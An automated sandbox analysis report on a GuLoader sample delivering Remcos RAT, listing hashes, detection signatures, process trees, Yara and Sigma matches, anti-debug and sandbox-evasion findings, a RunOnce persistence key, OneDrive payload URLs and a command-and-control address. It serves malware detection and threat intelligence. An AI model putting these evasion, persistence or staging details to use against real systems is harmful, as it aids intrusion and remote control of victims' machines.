Play interactive tour

Edit tour

Analysis Report NEWORDERrefno0992883jpg.exe

Overview

General Information

Sample Name:	NEWORDERrefno0992883jpg.exe
Analysis ID:	342213
MD5:	55124bc60c871581f110b6f09e8ee902
SHA1:	a198c5115c4d7f9e61a06020c814c2b5b4fba0f8
SHA256:	8c6cae9078b175b331c1d6154045deea386850a75e4e2a250fe4f4d920cf1a4a
Tags:	exenVpnRATRemcosRAT
Most interesting Screenshot:

Detection

Remcos GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected Remcos RAT

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Yara detected GuLoader

Contains functionality to hide a thread from the debugger

Creates autostart registry keys with suspicious values (likely registry only malware)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Hides threads from debuggers

Initial sample is a PE file and has a suspicious name

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Yara detected VB6 Downloader Generic

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

NEWORDERrefno0992883jpg.exe (PID: 1908 cmdline: 'C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe' MD5: 55124BC60C871581F110B6F09E8EE902)

NEWORDERrefno0992883jpg.exe (PID: 4712 cmdline: 'C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe' MD5: 55124BC60C871581F110B6F09E8EE902)

wscript.exe (PID: 6348 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

PILGRIMIZES.exe (PID: 5668 cmdline: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe MD5: 55124BC60C871581F110B6F09E8EE902)

PILGRIMIZES.exe (PID: 6668 cmdline: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe MD5: 55124BC60C871581F110B6F09E8EE902)

wscript.exe (PID: 6728 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

PILGRIMIZES.exe (PID: 6776 cmdline: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe MD5: 55124BC60C871581F110B6F09E8EE902)

PILGRIMIZES.exe (PID: 7140 cmdline: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe MD5: 55124BC60C871581F110B6F09E8EE902)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
00000007.00000003.399918336.000002634EBD5000.00000004.00000001.sdmp	SUSP_LNK_SuspiciousCommands	Detects LNK file with suspicious content	Florian Roth	0xa8f4:$s12: WScript.Shell 0xd77c:$s12: WScript.Shell
0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: NEWORDERrefno0992883jpg.exe PID: 4712	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: NEWORDERrefno0992883jpg.exe PID: 4712	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: NEWORDERrefno0992883jpg.exe PID: 1908	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: NEWORDERrefno0992883jpg.exe PID: 1908	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: PILGRIMIZES.exe PID: 7140	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: PILGRIMIZES.exe PID: 7140	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: PILGRIMIZES.exe PID: 6668	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: PILGRIMIZES.exe PID: 6668	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: PILGRIMIZES.exe PID: 6776	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: PILGRIMIZES.exe PID: 6776	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: PILGRIMIZES.exe PID: 5668	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: PILGRIMIZES.exe PID: 5668	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Click to see the 11 entries

Sigma Overview

System Summary:

Sigma detected: Remcos

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe, ProcessId: 4712, TargetFilename: C:\Users\user\AppData\Roaming\remcos\logs.dat

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: NEWORDERrefno0992883jpg.exe

Virustotal: Detection: 23%

Perma Link

Compliance:

Uses 32bit PE files

Show sources

Source: NEWORDERrefno0992883jpg.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

Source: global traffic

TCP traffic: 192.168.2.6:49731 -> 185.140.53.253:2048

Source: Joe Sandbox View

IP Address: 185.140.53.253 185.140.53.253

Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe

Code function: 6_2_00568FBC InternetReadFile,

6_2_00568FBC

Source: unknown

DNS traffic detected: queries for: onedrive.live.com

Source: PILGRIMIZES.exe, 00000006.00000002.415798264.0000000000A00000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.digi
Source: PILGRIMIZES.exe, 00000006.00000002.415833995.0000000000A3B000.00000004.00000020.sdmp, PILGRIMIZES.exe, 00000006.00000002.415798264.0000000000A00000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: PILGRIMIZES.exe, 00000006.00000002.415833995.0000000000A3B000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: PILGRIMIZES.exe, 00000006.00000002.415833995.0000000000A3B000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: PILGRIMIZES.exe, 00000006.00000002.415757520.00000000009B8000.00000004.00000020.sdmp	String found in binary or memory: https://onedrive.live.com/
Source: PILGRIMIZES.exe	String found in binary or memory: https://onedrive.live.com/download?cid=3EA7AF3CF2A8B6E2&resid=3EA7AF3CF2A8B6E2%21121&authkey=AMq9sG-
Source: PILGRIMIZES.exe, 00000006.00000002.415757520.00000000009B8000.00000004.00000020.sdmp	String found in binary or memory: https://ry3dmw.dm.files.1drv.com/
Source: PILGRIMIZES.exe, 00000006.00000002.415798264.0000000000A00000.00000004.00000020.sdmp	String found in binary or memory: https://ry3dmw.dm.files.1drv.com/y4m5Uk8XK7Wl1Kz2W_ObQ202aCzFbJtOLqXH5zzyoS4s7PNVv2jQFwK-Dxrh70VAS6o
Source: PILGRIMIZES.exe, 00000006.00000002.415757520.00000000009B8000.00000004.00000020.sdmp, PILGRIMIZES.exe, 00000006.00000002.415814005.0000000000A1C000.00000004.00000020.sdmp	String found in binary or memory: https://ry3dmw.dm.files.1drv.com/y4mCJVSTmiHuzMhULmUNmg4EimfSRflb83yNVhTry70q37pI5b1gbJ6e_SyvPbvtOFB

System Summary:

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: NEWORDERrefno0992883jpg.exe

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F32BD NtWriteVirtualMemory,	0_2_021F32BD
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F08E0 NtSetInformationThread,	0_2_021F08E0
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F8BF1 NtProtectVirtualMemory,	0_2_021F8BF1
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F3807 NtWriteVirtualMemory,	0_2_021F3807
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F3447 NtWriteVirtualMemory,	0_2_021F3447
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F3645 NtWriteVirtualMemory,	0_2_021F3645
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F2EB1 NtSetInformationThread,	0_2_021F2EB1
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F0949 NtSetInformationThread,LoadLibraryA,	0_2_021F0949
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F3568 NtWriteVirtualMemory,	0_2_021F3568
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F4791 NtSetInformationThread,LoadLibraryA,	0_2_021F4791
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F8BBB NtProtectVirtualMemory,	0_2_021F8BBB
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F09D6 NtSetInformationThread,	0_2_021F09D6
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F21CE NtSetInformationThread,	0_2_021F21CE
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 1_2_00568BF1 NtProtectVirtualMemory,	1_2_00568BF1
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 1_2_00568BBB NtProtectVirtualMemory,	1_2_00568BBB
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_023132BD NtWriteVirtualMemory,	3_2_023132BD
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_023108E0 NtSetInformationThread,	3_2_023108E0
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02318BF1 NtProtectVirtualMemory,	3_2_02318BF1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02313807 NtWriteVirtualMemory,	3_2_02313807
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02313645 NtWriteVirtualMemory,	3_2_02313645
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02313447 NtWriteVirtualMemory,	3_2_02313447
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02312EB1 NtSetInformationThread,	3_2_02312EB1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02313568 NtWriteVirtualMemory,	3_2_02313568
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02310949 NtSetInformationThread,LoadLibraryA,	3_2_02310949
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02318BBB NtProtectVirtualMemory,	3_2_02318BBB
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02314791 NtSetInformationThread,LoadLibraryA,	3_2_02314791
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_023109D6 NtSetInformationThread,	3_2_023109D6
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_023121CE NtSetInformationThread,	3_2_023121CE
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_005608E0 NtSetInformationThread,	6_2_005608E0
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00564779 NtSetInformationThread,InternetOpenA,InternetOpenUrlA,LoadLibraryA,	6_2_00564779
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00568BF1 NtProtectVirtualMemory,	6_2_00568BF1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00562EB1 NtSetInformationThread,	6_2_00562EB1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00560949 NtSetInformationThread,LoadLibraryA,	6_2_00560949
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_005609D6 NtSetInformationThread,	6_2_005609D6
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_005621CE NtSetInformationThread,	6_2_005621CE
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00568BBB NtProtectVirtualMemory,	6_2_00568BBB
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D32BD NtWriteVirtualMemory,	8_2_021D32BD
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D08E0 NtSetInformationThread,	8_2_021D08E0
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D8FBC NtResumeThread,	8_2_021D8FBC
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D8BF1 NtProtectVirtualMemory,	8_2_021D8BF1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D3807 NtWriteVirtualMemory,	8_2_021D3807
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D3645 NtWriteVirtualMemory,	8_2_021D3645
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D3447 NtWriteVirtualMemory,	8_2_021D3447
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D906E NtResumeThread,	8_2_021D906E
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D2EB1 NtSetInformationThread,	8_2_021D2EB1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D0949 NtSetInformationThread,LoadLibraryA,	8_2_021D0949
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D9779 NtResumeThread,	8_2_021D9779
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D3568 NtWriteVirtualMemory,	8_2_021D3568
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D939B NtResumeThread,	8_2_021D939B
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D4791 NtSetInformationThread,LoadLibraryA,	8_2_021D4791
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D8BBB NtProtectVirtualMemory,	8_2_021D8BBB
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D95B3 NtResumeThread,	8_2_021D95B3
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D09D6 NtSetInformationThread,	8_2_021D09D6
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D21CE NtSetInformationThread,	8_2_021D21CE
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_005608E0 NtSetInformationThread,	11_2_005608E0
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00564779 NtSetInformationThread,InternetOpenA,InternetOpenUrlA,LoadLibraryA,	11_2_00564779
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00568BF1 NtProtectVirtualMemory,	11_2_00568BF1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00568FBC NtQueryInformationProcess,	11_2_00568FBC
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_0056906E NtQueryInformationProcess,	11_2_0056906E
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00562EB1 NtSetInformationThread,	11_2_00562EB1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00560949 NtSetInformationThread,LoadLibraryA,	11_2_00560949
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00569779 NtQueryInformationProcess,	11_2_00569779
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_005609D6 NtSetInformationThread,	11_2_005609D6
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_005621CE NtSetInformationThread,	11_2_005621CE
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_0056939B NtQueryInformationProcess,	11_2_0056939B
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_005695B3 NtQueryInformationProcess,	11_2_005695B3
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00568BBB NtProtectVirtualMemory,	11_2_00568BBB

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Code function: 0_2_0040418E

0_2_0040418E

Source: NEWORDERrefno0992883jpg.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: PILGRIMIZES.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: NEWORDERrefno0992883jpg.exe, 00000000.00000002.351770668.00000000021E0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs NEWORDERrefno0992883jpg.exe
Source: NEWORDERrefno0992883jpg.exe, 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSELVMODSIGELSE.exe vs NEWORDERrefno0992883jpg.exe
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000000.349891066.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSELVMODSIGELSE.exe vs NEWORDERrefno0992883jpg.exe
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697482243.0000000002460000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs NEWORDERrefno0992883jpg.exe
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.701392626.000000001DED0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs NEWORDERrefno0992883jpg.exe
Source: NEWORDERrefno0992883jpg.exe	Binary or memory string: OriginalFilenameSELVMODSIGELSE.exe vs NEWORDERrefno0992883jpg.exe

Source: NEWORDERrefno0992883jpg.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 00000007.00000003.399918336.000002634EBD5000.00000004.00000001.sdmp, type: MEMORY

Matched rule: SUSP_LNK_SuspiciousCommands date = 2018-09-18, author = Florian Roth, description = Detects LNK file with suspicious content, score =

Source: classification engine

Classification label: mal100.troj.evad.winEXE@13/3@7/1

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

File created: C:\Users\user\AppData\Roaming\remcos

Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Mutant created: \Sessions\1\BaseNamedObjects\idll-LLXXO1

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

File created: C:\Users\user\AppData\Local\Temp\~DF212361AE709111D3.TMP

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs'

Source: NEWORDERrefno0992883jpg.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: NEWORDERrefno0992883jpg.exe

Virustotal: Detection: 23%

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

File read: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe 'C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe'
Source: unknown	Process created: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe 'C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe'
Source: unknown	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Source: unknown	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process created: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe 'C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe'	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: 00000006.00000002.415603840.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEWORDERrefno0992883jpg.exe PID: 4712, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEWORDERrefno0992883jpg.exe PID: 1908, type: MEMORY
Source: Yara match	File source: Process Memory Space: PILGRIMIZES.exe PID: 7140, type: MEMORY
Source: Yara match	File source: Process Memory Space: PILGRIMIZES.exe PID: 6668, type: MEMORY
Source: Yara match	File source: Process Memory Space: PILGRIMIZES.exe PID: 6776, type: MEMORY
Source: Yara match	File source: Process Memory Space: PILGRIMIZES.exe PID: 5668, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match	File source: Process Memory Space: NEWORDERrefno0992883jpg.exe PID: 4712, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEWORDERrefno0992883jpg.exe PID: 1908, type: MEMORY
Source: Yara match	File source: Process Memory Space: PILGRIMIZES.exe PID: 7140, type: MEMORY
Source: Yara match	File source: Process Memory Space: PILGRIMIZES.exe PID: 6668, type: MEMORY
Source: Yara match	File source: Process Memory Space: PILGRIMIZES.exe PID: 6776, type: MEMORY
Source: Yara match	File source: Process Memory Space: PILGRIMIZES.exe PID: 5668, type: MEMORY

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_00405466 pushfd ; iretd	0_2_00405467
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_00406293 push edx; ret	0_2_004062A0
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 1_2_00565BCF push FFFFFFF4h; retf	1_2_00565BD1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00565BCF push FFFFFFF4h; retf	6_2_00565BD1
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00565BCF push FFFFFFF4h; retf	11_2_00565BD1

Persistence and Installation Behavior:

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

File created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe

Jump to dropped file

Boot Survival:

Creates autostart registry keys with suspicious values (likely registry only malware)

Show sources

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce unturbid C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs			Jump to behavior
